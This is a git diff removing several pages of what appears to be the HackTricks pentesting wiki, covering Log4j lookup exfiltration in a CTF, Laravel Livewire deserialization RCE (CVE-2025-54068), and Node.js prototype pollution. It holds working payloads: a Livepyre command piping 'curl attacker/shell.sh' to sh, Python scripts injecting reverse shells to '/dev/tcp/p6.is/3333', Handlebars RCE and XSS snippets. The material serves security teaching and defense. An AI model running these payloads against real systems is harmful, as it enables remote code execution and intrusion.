-> From version 2.16.0 (for Java 8), the **message lookups feature has been completely removed**. **Lookups in configuration still work**. Furthermore, Log4j now disables access to JNDI by default. JNDI lookups in configuration now need to be enabled explicitly.
-
-> From version 2.17.0, (and 2.12.3 and 2.3.1 for Java 7 and Java 6), **only lookup strings in configuration are expanded recursively**; in any other usage, only the top-level lookup is resolved, and any nested lookups are not resolved.
-
-This means that by default you can **forget using any `jndi` exploit**. Moreover, to perform **recursive lookups** you need to have them configure.
-
-For example, in that CTF this was configured in the file log4j2.xml:
-
-```xml
-<Console name="Console" target="SYSTEM_ERR">
-    <PatternLayout pattern="%d{HH:mm:ss.SSS} %-5level %logger{36} executing ${sys:cmd} - %msg %n">
-    </PatternLayout>
-</Console>
-```
-
-### Env Lookups
-
-In [this CTF](https://sigflag.at/blog/2022/writeup-googlectf2022-log4j/) the attacker controlled the value of `${sys:cmd}` and needed to exfiltrate the flag from an environment variable.\
-As seen in this page in [**previous payloads**](jndi-java-naming-and-directory-interface-and-log4shell.md#verification) there are different some ways to access env variables, such as: **`${env:FLAG}`**. In this CTF this was useless but it might not be in other real life scenarios.
-
-### Exfiltration in Exceptions
-
-In the CTF, you **couldn't access the stderr** of the java application using log4J, but Log4J **exceptions are sent to stdout**, which was printed in the python app. This meant that triggering an exception we could access the content. An exception to exfiltrate the flag was: **`${java:${env:FLAG}}`.** This works because **`${java:CTF{blahblah}}`** doesn't exist and an exception with the value of the flag will be shown:
-
-![Env Lookups - Exfiltration in Exceptions: In the CTF, you couldn't access the stderr of the java application using log4J, but Log4J exceptions are sent to stdout , which was printed in...](<../../images/image (1023).png>)
-
-### Conversion Patterns Exceptions
-
-Just to mention it, you could also inject new [**conversion patterns**](https://logging.apache.org/log4j/2.x/manual/layouts.html#PatternLayout) and trigger exceptions that will be logged to `stdout`. For example:
-
-![Exfiltration in Exceptions - Conversion Patterns Exceptions: Just to mention it, you could also inject new conversion patterns and trigger exceptions that will be logged to stdout. For...](<../../images/image (683).png>)
-
-This wasn't found useful to exfiltrate date inside the error message, because the lookup wasn't solved before the conversion pattern, but it could be useful for other stuff such as detecting.
-
-### Conversion Patterns Regexes
-
-However, it's possible to use some **conversion patterns that supports regexes** to exfiltrate information from a lookup by using regexes and abusing **binary search** or **time based** behaviours.
-
-- **Binary search via exception messages**
-
-The conversion pattern **`%replace`** can be use to **replace** **content** from a **string** even using **regexes**. It works like this: `replace{pattern}{regex}{substitution}`\
-Abusing this behaviour you could make replace **trigger an exception if the regex matched** anything inside the string (and no exception if it wasn't found) like this:
-
-```bash
-%replace{${env:FLAG}}{^CTF.*}{${error}}
-# The string searched is the env FLAG, the regex searched is ^CTF.*
-## and ONLY if it's found ${error} will be resolved with will trigger an exception
-```
-
-- **Time based**
-
-As it was mentioned in the previous section, **`%replace`** supports **regexes**. So it's possible to use payload from the [**ReDoS page**](../regular-expression-denial-of-service-redos.md) to cause a **timeout** in case the flag is found.\
-For example, a payload like `%replace{${env:FLAG}}{^(?=CTF)((.`_`)`_`)*salt$}{asd}` would trigger a **timeout** in that CTF.
-
-In this [**writeup**](https://intrigus.org/research/2022/07/18/google-ctf-2022-log4j2-writeup/), instead of using a ReDoS attack it used an **amplification attack** to cause a time difference in the response:
-
-> ```
-> /%replace{
-> %replace{
-> %replace{
-> %replace{
-> %replace{
-> %replace{
-> %replace{${ENV:FLAG}}{CTF\{" + flagGuess + ".*\}}{#############################}
-> }{#}{######################################################}
-> }{#}{######################################################}
-> }{#}{######################################################}
-> }{#}{######################################################}
-> }{#}{######################################################}
-> }{#}{######################################################}
-> }{#}{######################################################}
-> ```
->
-> If the flag starts with `flagGuess`, the whole flag is replaced with 29 `#`-s (I used this character because it would likely not be part of the flag). **Each of the resulting 29 `#`-s is then replaced by 54 `#`-s**. This process is repeated **6 times**, leading to a total of ` 29*54*54^6* =`` `` `**`96816014208`** **`#`-s!**
->
-> Replacing so many `#`-s will trigger the 10-second timeout of the Flask application, which in turn will result in the HTTP status code 500 being sent to the user. (If the flag does not start with `flagGuess`, we will receive a non-500 status code)
-
-## References
-
-- [https://blog.cloudflare.com/inside-the-log4j2-vulnerability-cve-2021-44228/](https://blog.cloudflare.com/inside-the-log4j2-vulnerability-cve-2021-44228/)
-- [https://www.bleepingcomputer.com/news/security/all-log4j-logback-bugs-we-know-so-far-and-why-you-must-ditch-215/](https://www.bleepingcomputer.com/news/security/all-log4j-logback-bugs-we-know-so-far-and-why-you-must-ditch-215/)
-- [https://www.youtube.com/watch?v=XG14EstTgQ4](https://www.youtube.com/watch?v=XG14EstTgQ4)
-- [https://tryhackme.com/room/solar](https://tryhackme.com/room/solar)
-- [https://www.youtube.com/watch?v=Y8a5nB-vy78](https://www.youtube.com/watch?v=Y8a5nB-vy78)
-- [https://www.blackhat.com/docs/us-16/materials/us-16-Munoz-A-Journey-From-JNDI-LDAP-Manipulation-To-RCE.pdf](https://www.blackhat.com/docs/us-16/materials/us-16-Munoz-A-Journey-From-JNDI-LDAP-Manipulation-To-RCE.pdf)
-- [https://intrigus.org/research/2022/07/18/google-ctf-2022-log4j2-writeup/](https://intrigus.org/research/2022/07/18/google-ctf-2022-log4j2-writeup/)
-- [https://sigflag.at/blog/2022/writeup-googlectf2022-log4j/](https://sigflag.at/blog/2022/writeup-googlectf2022-log4j/)
-
-{{#include ../../banners/hacktricks-training.md}}
-
-
-
diff --git a/src/pentesting-web/deserialization/livewire-hydration-synthesizer-abuse.md b/src/pentesting-web/deserialization/livewire-hydration-synthesizer-abuse.md
deleted file mode 100644
index f50621f8d3c..00000000000
--- a/src/pentesting-web/deserialization/livewire-hydration-synthesizer-abuse.md
+++ /dev/null
@@ -1,194 +0,0 @@
-# Laravel Livewire Hydration & Synthesizer Abuse
-
-{{#include ../../banners/hacktricks-training.md}}
-
-## Recap of the Livewire state machine
-
-Livewire 3 components exchange their state through **snapshots** that contain `data`, `memo`, and a checksum. Every POST to `/livewire/update` rehydrates the JSON snapshot server-side and executes the queued `calls`/`updates`.
-
-```php
-class Checksum {
-    static function verify($snapshot) {
-        $checksum = $snapshot['checksum'];
-        unset($snapshot['checksum']);
-        if ($checksum !== self::generate($snapshot)) {
-            throw new CorruptComponentPayloadException;
-        }
-    }
-
-    static function generate($snapshot) {
-        return hash_hmac('sha256', json_encode($snapshot), $hashKey);
-    }
-}
-```
-
-Anyone holding `APP_KEY` (used to derive `$hashKey`) can therefore forge arbitrary snapshots by recomputing the HMAC.
-
-Complex properties are encoded as **synthetic tuples** detected by `Livewire\Drawer\BaseUtils::isSyntheticTuple()`; each tuple is `[value, {"s":"<key>", ...meta}]`. The hydration core simply delegates every tuple to the synth selected in `HandleComponents::$propertySynthesizers` and recurses over children:
-
-```php
-protected function hydrate($valueOrTuple, $context, $path)
-{
-    if (! Utils::isSyntheticTuple($value = $tuple = $valueOrTuple)) return $value;
-    [$value, $meta] = $tuple;
-    $synth = $this->propertySynth($meta['s'], $context, $path);
-    return $synth->hydrate($value, $meta, fn ($name, $child)
-        => $this->hydrate($child, $context, "{$path}.{$name}"));
-}
-```
-
-This recursive design makes Livewire a **generic object-instantiation engine** once an attacker controls either the tuple metadata or any nested tuple processed during recursion.
-
-## Synthesizers that grant gadget primitives
-
-| Synthesizer | Attacker-controlled behaviour |
-|-------------|--------------------------------|
-| **CollectionSynth (`clctn`)** | Instantiates `new $meta['class']($value)` after rehydrating each child. Any class with an array constructor can be created, and each item may itself be a synthetic tuple.
-| **FormObjectSynth (`form`)** | Calls `new $meta['class']($component, $path)`, then assigns every public property from attacker-controlled children via `$hydrateChild`. Constructors that accept two loosely typed parameters (or default args) are enough to reach arbitrary public properties.
-| **ModelSynth (`mdl`)** | When `key` is absent from meta it executes `return new $class;` allowing zero-argument instantiation of any class under attacker control.
-
-Because synths invoke `$hydrateChild` on every nested element, arbitrary gadget graphs can be built by stacking tuples recursively.
-
-## Forging snapshots when `APP_KEY` is known
-
-1. Capture a legitimate `/livewire/update` request and decode `components[0].snapshot`.
-2. Inject nested tuples that point to gadget classes and recompute `checksum = hash_hmac('sha256', json_encode(snapshot_without_checksum), APP_KEY)`.
-3. Re-encode the snapshot, keep `_token`/`memo` untouched, and replay the request.
-
-A minimal proof of execution uses **Guzzle's `FnStream`** and **Flysystem's `ShardedPrefixPublicUrlGenerator`**. One tuple instantiates `FnStream` with constructor data `{ "__toString": "phpinfo" }`, the next instantiates `ShardedPrefixPublicUrlGenerator` with `[FnStreamInstance]` as `$prefixes`. When Flysystem casts each prefix to `string`, PHP invokes the attacker-provided `__toString` callable, calling any function without arguments.
-
-### From function calls to full RCE
-
-Leveraging Livewire's instantiation primitives, Synacktiv adapted phpggc's `Laravel/RCE4` chain so that hydration boots an object whose public Queueable state triggers deserialization:
-
-1. **Queueable trait** – any object using `Illuminate\Bus\Queueable` exposes public `$chained` and executes `unserialize(array_shift($this->chained))` in `dispatchNextJobInChain()`.
-2. **BroadcastEvent wrapper** – `Illuminate\Broadcasting\BroadcastEvent` (ShouldQueue) is instantiated via `CollectionSynth` / `FormObjectSynth` with public `$chained` populated.
-3. **phpggc Laravel/RCE4Adapted** – the serialized blob stored in `$chained[0]` builds `PendingBroadcast -> Validator -> SerializableClosure\Serializers\Signed`. `Signed::__invoke()` finally calls `call_user_func_array($closure, $args)` enabling `system($cmd)`.
-4. **Stealth termination** – by handing a second `FnStream` callable such as `[new Laravel\Prompts\Terminal(), 'exit']`, the request ends with `exit()` instead of a noisy exception, keeping the HTTP response clean.
-
-### Automating snapshot forgery
-
-`synacktiv/laravel-crypto-killer` now ships a `livewire` mode that stitches everything:
-
-```bash
-./laravel_crypto_killer.py exploit -e livewire -k base64:APP_KEY \
-  -j request.json --function system -p "bash -c 'id'"
-```
-
-The tool parses the captured snapshot, injects the gadget tuples, recomputes the checksum, and prints a ready-to-send `/livewire/update` payload.
-
-## CVE-2025-54068 – RCE without `APP_KEY`
-
-According to the vendor advisory, the issue affects Livewire v3 (>= 3.0.0-beta.1 and <= 3.6.3) and is unique to v3.
-
-`updates` are merged into component state **after** the snapshot checksum is validated. If a property inside the snapshot is (or becomes) a synthetic tuple, Livewire reuses its meta while hydrating the attacker-controlled update value:
-
-```php
-protected function hydrateForUpdate($raw, $path, $value, $context)
-{
-    $meta = $this->getMetaForPath($raw, $path);
-    if ($meta) {
-        return $this->hydrate([$value, $meta], $context, $path);
-    }
-}
-```
-
-Exploit recipe:
-
-1. Find a Livewire component with an untyped public property (e.g., `public $count;`).
-2. Send an update that sets that property to `[]`. The next snapshot now stores it as `[[], {"s": "arr"}]`.
-
-   A minimal type-juggling flow looks like this:
-
-   ```http
-   POST /livewire/update
-   ...
-   "updates": {"count": []}
-   ```
-
-   Then the next snapshot stores a tuple that keeps the `arr` synthesizer metadata:
-
-   ```json
-   "count": [[], {"s": "arr"}]
-   ```
-
-3. Craft another `updates` payload where that property contains a deeply nested array embedding tuples such as `[ <payload>, {"s":"clctn","class":"GuzzleHttp\\Psr7\\FnStream"} ]`.
-4. During recursion, `hydrate()` evaluates each nested child independently, so attacker-chosen synth keys/classes are honoured even though the outer tuple and checksum never changed.
-5. Reuse the same `CollectionSynth`/`FormObjectSynth` primitives to instantiate a Queueable gadget whose `$chained[0]` contains the phpggc payload. Livewire processes the forged updates, invokes `dispatchNextJobInChain()`, and reaches `system(<cmd>)` without knowing `APP_KEY`.
-
-Key reasons this works:
-
-- `updates` are not covered by the snapshot checksum.
-- `getMetaForPath()` trusts whichever synth metadata already existed for that property even if the attacker previously forced it to become a tuple via weak typing.
-- Recursion plus weak typing lets each nested array be interpreted as a brand new tuple, so arbitrary synth keys and arbitrary classes eventually reach hydration.
-
-### High-value pre-auth target: Filament login forms
-
-Applications built on top of Livewire often expose an even easier pre-auth surface than a toy `public $count;` property. For example, Filament login pages commonly hydrate a weakly typed `$form` object that is already serialized as a `form` tuple in the snapshot. That removes the "scalar -> array -> `arr` tuple" setup step entirely:
-
-- The snapshot already contains something like `{"form":[{...},{"s":"form","class":"App\\Livewire\\Forms\\LoginForm"}]}`.
-- An attacker can send `updates.form` with nested malicious tuples directly, because recursion will eventually reinterpret children such as `[payload, {"s":"clctn","class":"GuzzleHttp\\Psr7\\FnStream"}]`.
-- This is why pre-auth Livewire entrypoints that expose `FormObjectSynth` objects are especially attractive: they already provide both instantiation and public-property assignment.
-
-### Patch analysis: preserve raw metadata during update recursion
-
-The fix introduces a dedicated `hydratePropertyUpdate()` path so nested update values no longer call generic `hydrate($child, ...)` on attacker-controlled children:
-
-```php
-protected function hydratePropertyUpdate($valueOrTuple, $context, $path, $raw)
-{
-    if (! Utils::isSyntheticTuple($value = $tuple = $valueOrTuple)) return $value;
-    [$value, $meta] = $tuple;
-    $synth = $this->propertySynth($meta['s'], $context, $path);
-
-    return $synth->hydrate($value, $meta, function ($name, $child) use ($context, $path, $raw) {
-        return $this->hydrateForUpdate($raw, "{$path}.{$name}", $child, $context);
-    });
-}
-```
-
-Security impact of the patch:
-
-- Nested updates are revalidated against the original raw snapshot path instead of trusting fresh attacker-supplied tuple metadata.
-- Recursive hydration no longer lets children redefine `s` or `class` mid-flight.
-- This blocks both arbitrary synthesizer switching and arbitrary class selection inside nested update arrays.
-
-## Livepyre – end-to-end exploitation
-
-[Livepyre](https://github.com/synacktiv/Livepyre) automates both the APP_KEY-less CVE and the signed-snapshot path:
-
-- Fingerprints the deployed Livewire version by parsing `<script src="/livewire/livewire.js?id=HASH">` (or `?v=HASH`) and mapping the hash to vulnerable releases.
-- Collects baseline snapshots by replaying benign actions and extracting `components[].snapshot`.
-- Generates either an `updates`-only payload (CVE-2025-54068) or a forged snapshot (known APP_KEY) embedding the phpggc chain.
-- If no object-typed parameter is found in a snapshot, Livepyre falls back to brute-forcing candidate params to reach a coercible property.
-
-Typical usage:
-
-```bash
-# CVE-2025-54068, unauthenticated
-python3 Livepyre.py -u https://target/livewire/component -f system -p id
-
-# Signed snapshot exploit with known APP_KEY
-python3 Livepyre.py -u https://target/livewire/component -a base64:APP_KEY \
-    -f system -p "bash -c 'curl attacker/shell.sh|sh'"
-```
-
-`-c/--check` runs a non-destructive probe, `-F` skips version gating, `-H` and `-P` add custom headers or proxies, and `--function/--param` customise the php function invoked by the gadget chain.
-
-## Defensive considerations
-
-- Upgrade to fixed Livewire builds (>= 3.6.4 according to the vendor bulletin) and deploy the vendor patch for CVE-2025-54068.
-- Avoid weakly typed public properties in Livewire components; explicit scalar types prevent property values from being coerced into arrays/tuples.
-- Register only the synthesizers you truly need and treat user-controlled metadata (`$meta['class']`) as untrusted.
-- Reject updates that change the JSON type of a property (e.g., scalar -> array) unless explicitly allowed, and re-derive synth metadata instead of reusing stale tuples.
-- Rotate `APP_KEY` promptly after any disclosure because it enables offline snapshot forging no matter how patched the code-base is.
-
-## References
-
-- [Synacktiv – Livewire: Remote Command Execution via Unmarshaling](https://www.synacktiv.com/en/publications/livewire-remote-command-execution-through-unmarshaling)
-- [synacktiv/laravel-crypto-killer](https://github.com/synacktiv/laravel-crypto-killer)
-- [synacktiv/Livepyre](https://github.com/synacktiv/Livepyre)
-- [GHSA-29cq-5w36-x7w3 – Livewire v3 RCE advisory](https://github.com/livewire/livewire/security/advisories/GHSA-29cq-5w36-x7w3)
-- [livewire/livewire commit `ef04be7` – Fix property update hydration](https://github.com/livewire/livewire/commit/ef04be759da41b14d2d129e670533180a44987dc)
-
-{{#include ../../banners/hacktricks-training.md}}
diff --git a/src/pentesting-web/deserialization/nodejs-proto-prototype-pollution/README.md b/src/pentesting-web/deserialization/nodejs-proto-prototype-pollution/README.md
deleted file mode 100644
index f31e4d0e95f..00000000000
--- a/src/pentesting-web/deserialization/nodejs-proto-prototype-pollution/README.md
+++ /dev/null
@@ -1,398 +0,0 @@
-# NodeJS - \_\_proto\_\_ & prototype Pollution
-
-{{#include ../../../banners/hacktricks-training.md}}
-
-## Objects in JavaScript <a href="#id-053a" id="id-053a"></a>
-
-Objects in JavaScript are essentially collections of key-value pairs, known as properties. An object can be created using `Object.create` with `null` as an argument to produce an empty object. This method allows the creation of an object without any inherited properties.
-
-```javascript
-// Run this in the developers tools console
-console.log(Object.create(null)) // This will output an empty object.
-```
-
-An empty object is akin to an empty dictionary, represented as `{}`.
-
-### Functions and Classes in JavaScript
-
-In JavaScript, classes and functions are closely linked, with functions often serving as constructors for classes. Despite JavaScript's lack of native class support, constructors can emulate class behavior.
-
-```javascript
-// Run this in the developers tools console
-
-function Employee(name, position) {
-  this.name = name
-  this.position = position
-  this.introduce = function () {
-    return "My name is " + this.name + " and I work as a " + this.position + "."
-  }
-}
-
-Employee.prototype
-
-var employee1 = new Employee("Generic Employee", "Developer")
-
-employee1.__proto__
-```
-
-### Prototypes in JavaScript
-
-JavaScript allows the modification, addition, or deletion of prototype attributes at runtime. This flexibility enables the dynamic extension of class functionalities.
-
-Functions like `toString` and `valueOf` can be altered to change their behavior, demonstrating the adaptable nature of JavaScript's prototype system.
-
-## Inheritance
-
-In prototype-based programming, properties/methods are inherited by objects from classes. These classes are created by adding properties/methods either to an instance of another class or to an empty object.
-
-It should be noted that when a property is added to an object serving as the prototype for other objects (such as `myPersonObj`), the inheriting objects gain access to this new property. However, this property is not automatically displayed unless it is explicitly invoked.
-
-## \_\_proto\_\_ pollution <a href="#id-0d0a" id="id-0d0a"></a>
-
-## Exploring Prototype Pollution in JavaScript
-
-JavaScript objects are defined by key-value pairs and inherit from the JavaScript Object prototype. This means altering the Object prototype can influence all objects in the environment.
-
-Let's use a different example to illustrate:
-
-```javascript
-function Vehicle(model) {
-  this.model = model
-}
-var car1 = new Vehicle("Tesla Model S")
-```
-
-Access to the Object prototype is possible through:
-
-```javascript
-car1.__proto__.__proto__
-Vehicle.__proto__.__proto__
-```
-
-By adding properties to the Object prototype, every JavaScript object will inherit these new properties:
-
-```javascript
-function Vehicle(model) {
-  this.model = model
-}
-var car1 = new Vehicle("Tesla Model S")
-// Adding a method to the Object prototype
-car1.__proto__.__proto__.announce = function () {
-  console.log("Beep beep!")
-}
-car1.announce() // Outputs "Beep beep!"
-// Adding a property to the Object prototype
-car1.__proto__.__proto__.isVehicle = true
-console.log(car1.isVehicle) // Outputs true
-```
-
-## prototype pollution
-
-For a scenario where `__proto__` usage is restricted, modifying a function's prototype is an alternative:
-
-```javascript
-function Vehicle(model) {
-  this.model = model
-}
-var car1 = new Vehicle("Tesla Model S")
-// Adding properties to the Vehicle prototype
-Vehicle.prototype.beep = function () {
-  console.log("Beep beep!")
-}
-car1.beep() // Now works and outputs "Beep beep!"
-Vehicle.prototype.hasWheels = true
-console.log(car1.hasWheels) // Outputs true
-
-// Alternate method
-car1.constructor.prototype.honk = function () {
-  console.log("Honk!")
-}
-car1.constructor.prototype.isElectric = true
-```
-
-This affects only objects created from the `Vehicle` constructor, giving them the `beep`, `hasWheels`, `honk`, and `isElectric` properties.
-
-Two methods to globally affect JavaScript objects through prototype pollution include:
-
-1. Polluting the `Object.prototype` directly:
-
-```javascript
-Object.prototype.goodbye = function () {
-  console.log("Goodbye!")
-}
-```
-
-2. Polluting the prototype of a constructor for a commonly used structure:
-
-```javascript
-var example = { key: "value" }
-example.constructor.prototype.greet = function () {
-  console.log("Hello!")
-}
-```
-
-After these operations, every JavaScript object can execute `goodbye` and `greet` methods.
-
-## Polluting other objects
-
-### From a class to Object.prototype
-
-In an scenario where you can **pollute an specific object** and you need to **get to `Object.prototype`** you can search for it with something like the following code:
-
-```javascript
-// From https://blog.huli.tw/2022/05/02/en/intigriti-revenge-challenge-author-writeup/
-
-// Search from "window" object
-for (let key of Object.getOwnPropertyNames(window)) {
-  if (window[key]?.constructor.prototype === Object.prototype) {
-    console.log(key)
-  }
-}
-
-// Imagine that the original object was document.querySelector('a')
-// With this code you could find some attributes to get the object "window" from that one
-for (let key1 in document.querySelector("a")) {
-  for (let key2 in document.querySelector("a")[key1]) {
-    if (document.querySelector("a")[key1][key2] === window) {
-      console.log(key1 + "." + key2)
-    }
-  }
-}
-```
-
-### Array elements pollution
-
-Note that as you can pollute attributes of objects in JS, if you have access to pollute an array you can also **pollute values of the array** accessible **by indexes** (note that you cannot overwrite values, so you need to pollute indexes that are somehow used but not written).
-
-```javascript
-c = [1, 2]
-a = []
-a.constructor.prototype[1] = "yolo"
-b = []
-b[0] //undefined
-b[1] //"yolo"
-c[1] // 2 -- not
-```
-
-### Html elements pollution
-
-When generating a HTML element via JS it's possible to **overwrite** the **`innerHTML`** attribute to make it write **arbitrary HTML code.** [Idea and example from this writeup](https://blog.huli.tw/2022/04/25/en/intigriti-0422-xss-challenge-author-writeup/).
-
-```javascript
-// Create element
-devSettings["root"] = document.createElement('main')
-
-// Pollute innerHTML
-settings[root][innerHTML]=<"svg onload=alert(1)>"
-
-// Pollute innerHTML of the ownerProperty to avoid overwrites of innerHTML killing the payload
-settings[root][ownerDocument][body][innerHTML]="<svg onload=alert(document.domain)>"
-```
-
-## Examples
-
-### Basic Example
-
-A prototype pollution occurs due to a flaw in the application that allows overwriting properties on `Object.prototype`. This means that since most objects derive their properties from `Object.prototype`
-
-The easies example is to add a value to an **undefiner attribute of an object** that is going to be checked, like:
-
-```javascript
-if (user.admin) {
-```
-
-If the attribute **`admin` is undefined** it's possible to abuse a PP and set it to True with something like:
-
-```javascript
-Object.prototype.isAdmin = true
-let user = {}
-user.isAdmin // true
-```
-
-The mechanism behind this involves manipulating properties such that if an attacker has control over certain inputs, they can modify the prototype of all objects in the application. This manipulation typically involves setting the `__proto__` property, which, in JavaScript, is synonymous with directly modifying an object's prototype.
-
-The conditions under which this attack can be successfully executed, as outlined in a specific [study](https://github.com/HoLyVieR/prototype-pollution-nsec18/blob/master/paper/JavaScript_prototype_pollution_attack_in_NodeJS.pdf), include:
-
-- Performing a recursive merge.
-- Defining properties based on a path.
-- Cloning objects.
-
-### Override function
-
-```python
-customer.__proto__.toString = ()=>{alert("polluted")}
-```
-
-### Proto Pollution to RCE
-
-
-{{#ref}}
-prototype-pollution-to-rce.md
-{{#endref}}
-
-Other payloads:
-
-- [https://github.com/KTH-LangSec/server-side-prototype-pollution](https://github.com/KTH-LangSec/server-side-prototype-pollution)
-
-## Client-side prototype pollution to XSS
-
-
-{{#ref}}
-client-side-prototype-pollution.md
-{{#endref}}
-
-### CVE-2019–11358: Prototype pollution attack through jQuery $ .extend
-
-[For further details check this article](https://itnext.io/prototype-pollution-attack-on-nodejs-applications-94a8582373e7) In jQuery, the `$ .extend` function can lead to prototype pollution if the deep copy feature is utilized improperly. This function is commonly used for cloning objects or merging properties from a default object. However, when misconfigured, properties intended for a new object can be assigned to the prototype instead. For instance:
-
-```javascript
-$.extend(true, {}, JSON.parse('{"__proto__": {"devMode": true}}'))
-console.log({}.devMode) // Outputs: true
-```
-
-This vulnerability, identified as CVE-2019–11358, illustrates how a deep copy can inadvertently modify the prototype, leading to potential security risks, such as unauthorized admin access if properties like `isAdmin` are checked without proper existence verification.
-
-### CVE-2018–3721, CVE-2019–10744: Prototype pollution attack through lodash
-
-[For further details check this article](https://itnext.io/prototype-pollution-attack-on-nodejs-applications-94a8582373e7)
-
-[Lodash](https://www.npmjs.com/package/lodash) encountered similar prototype pollution vulnerabilities (CVE-2018–3721, CVE-2019–10744). These issues were addressed in version 4.17.11.
-
-### Another tutorial with CVEs
-
-
-- [https://infosecwriteups.com/javascript-prototype-pollution-practice-of-finding-and-exploitation-f97284333b2](https://infosecwriteups.com/javascript-prototype-pollution-practice-of-finding-and-exploitation-f97284333b2)
-
-
-### Tools to detect Prototype Pollution
-
-- [**Server-Side-Prototype-Pollution-Gadgets-Scanner**](https://github.com/doyensec/Server-Side-Prototype-Pollution-Gadgets-Scanner): Burp Suite extension designed to detect and analyze server-side prototype pollution vulnerabilities in web applications. This tool automates the process of scanning requests to identify potential prototype pollution issues. It exploits known gadgets - methods of leveraging prototype pollution to execute harmful actions - particularly focusing on Node.js libraries.
-- [**server-side-prototype-pollution**](https://github.com/portswigger/server-side-prototype-pollution): This extension identifies server side prototype pollution vulnerabilities. It uses techniques described in the [server side prototype pollution](https://portswigger.net/research/server-side-prototype-pollution).
-
-### AST Prototype Pollution in NodeJS
-
-NodeJS extensively utilizes Abstract Syntax Trees (AST) in JavaScript for functionalities like template engines and TypeScript. This section explores the vulnerabilities related to prototype pollution in template engines, specifically Handlebars and Pug.
-
-#### Handlebars Vulnerability Analysis
-
-The Handlebars template engine is susceptible to a prototype pollution attack. This vulnerability arises from specific functions within the `javascript-compiler.js` file. The `appendContent` function, for instance, concatenates `pendingContent` if it's present, while the `pushSource` function resets `pendingContent` to `undefined` after adding the source.
-
-**Exploitation Process**
-
-The exploitation leverages the AST (Abstract Syntax Tree) produced by Handlebars, following these steps:
-
-1. **Manipulation of the Parser**: Initially, the parser, via the `NumberLiteral` node, enforces that values are numeric. Prototype pollution can circumvent this, enabling the insertion of non-numeric strings.
-2. **Handling by the Compiler**: The compiler can process an AST Object or a string template. If `input.type` equals `Program`, the input is treated as pre-parsed, which can be exploited.
-3. **Injection of Code**: Through manipulation of `Object.prototype`, one can inject arbitrary code into the template function, which may lead to remote code execution.
-
-An example demonstrating the exploitation of the Handlebars vulnerability:
-
-```javascript
-const Handlebars = require("handlebars")
-
-Object.prototype.type = "Program"
-Object.prototype.body = [
-  {
-    type: "MustacheStatement",
-    path: 0,
-    params: [
-      {
-        type: "NumberLiteral",
-        value:
-          "console.log(process.mainModule.require('child_process').execSync('id').toString())",
-      },
-    ],
-    loc: {
-      start: 0,
-      end: 0,
-    },
-  },
-]
-
-const source = `Hello {{ msg }}`
-const template = Handlebars.precompile(source)
-
-console.log(eval("(" + template + ")")["main"].toString())
-```
-
-This code showcases how an attacker could inject arbitrary code into a Handlebars template.
-
-**External Reference**: An issue related to prototype pollution was found in the 'flat' library, as detailed here: [Issue on GitHub](https://github.com/hughsk/flat/issues/105).
-
-**External Reference**: [Issue related to prototype pollution in the 'flat' library](https://github.com/hughsk/flat/issues/105)
-
-Example of prototype pollution exploit in Python:
-
-```python
-import requests
-
-TARGET_URL = 'http://10.10.10.10:9090'
-
-# make pollution
-requests.post(TARGET_URL + '/vulnerable', json = {
-    "__proto__.type": "Program",
-    "__proto__.body": [{
-        "type": "MustacheStatement",
-        "path": 0,
-        "params": [{
-            "type": "NumberLiteral",
-            "value": "process.mainModule.require('child_process').execSync(`bash -c 'bash -i >& /dev/tcp/p6.is/3333 0>&1'`)"
-        }],
-        "loc": {
-            "start": 0,
-            "end": 0
-        }
-    }]
-})
-
-# execute
-requests.get(TARGET_URL)
-```
-
-#### Pug Vulnerability
-
-Pug, another template engine, faces a similar risk of prototype pollution. Detailed information is available in the discussion on [AST Injection in Pug](https://blog.p6.is/AST-Injection/#Pug).
-
-Example of prototype pollution in Pug:
-
-```python
-import requests
-
-TARGET_URL = 'http://10.10.10.10:9090'
-
-# make pollution
-requests.post(TARGET_URL + '/vulnerable', json = {
-    "__proto__.block": {
-        "type": "Text",
-        "line": "process.mainModule.require('child_process').execSync(`bash -c 'bash -i >& /dev/tcp/p6.is/3333 0>&1'`)"
-    }
-})
-
-# execute
-requests.get(TARGET_URL)
-```
-
-### Preventive Measures
-
-To reduce the risk of prototype pollution, the strategies listed below can be employed:
-
-1. **Object Immutability**: The `Object.prototype` can be made immutable by applying `Object.freeze`.
-2. **Input Validation**: JSON inputs should be rigorously validated against the application's schema.
-3. **Safe Merge Functions**: The unsafe use of recursive merge functions should be avoided.
-4. **Prototype-less Objects**: Objects without prototype properties can be created using `Object.create(null)`.
-5. **Use of Map**: Instead of `Object`, `Map` should be used for storing key-value pairs.
-6. **Library Updates**: Security patches can be incorporated by regularly updating libraries.
-7. **Linter and Static Analysis Tools**: Use tools like ESLint with appropriate plugins to detect and prevent prototype pollution vulnerabilities.
-8. **Code Reviews**: Implement thorough code reviews to identify and remediate potential risks related to prototype pollution.
-9. **Security Training**: Educate developers about the risks of prototype pollution and best practices for writing secure code.
-10. **Using Libraries with Caution**: Be cautious while using third-party libraries. Assess their security posture and review their code, especially those manipulating objects.
-11. **Runtime Protection**: Employ runtime protection mechanisms such as using security-focused npm packages which can detect and prevent prototype pollution attacks.
-
-## References
-
-- [https://research.securitum.com/prototype-pollution-rce-kibana-cve-2019-7609/](https://research.securitum.com/prototype-pollution-rce-kibana-cve-2019-7609/)
-- [https://dev.to/caffiendkitten/prototype-inheritance-pollution-2o5l](https://dev.to/caffiendkitten/prototype-inheritance-pollution-2o5l)
-- [https://itnext.io/prototype-pollution-attack-on-nodejs-applications-94a8582373e7](https://itnext.io/prototype-pollution-attack-on-nodejs-applications-94a8582373e7)
-- [https://blog.p6.is/AST-Injection/](https://blog.p6.is/AST-Injection/)
-
-{{#include ../../../banners/hacktricks-training.md}}
diff --git a/src/pentesting-web/deserialization/nodejs-proto-prototype-pollution/client-side-prototype-pollution.md b/src/pentesting-web/deserialization/nodejs-proto-prototype-pollution/client-side-prototype-pollution.md
deleted file mode 100644
index cf855cfc13e..00000000000
--- a/src/pentesting-web/deserialization/nodejs-proto-prototype-pollution/client-side-prototype-pollution.md
+++ /dev/null
@@ -1,182 +0,0 @@
-# Client Side Prototype Pollution
-
-{{#include ../../../banners/hacktricks-training.md}}
-
-## Discovering using Automatic tools
-
-The tools [**https://github.com/dwisiswant0/ppfuzz**](https://github.com/dwisiswant0/ppfuzz?tag=v1.0.0)**,** [**https://github.com/kleiton0x00/ppmap**](https://github.com/kleiton0x00/ppmap) **and** [**https://github.com/kosmosec/proto-find**](https://github.com/kosmosec/proto-find) can be used to **find prototype pollution vulnerabilities**.
-
-Moreover, you could also use the **browser extension** [**PPScan**](https://github.com/msrkp/PPScan) to **automatically** **scan** the **pages** you **access** for prototype pollution vulnerabilities.
-
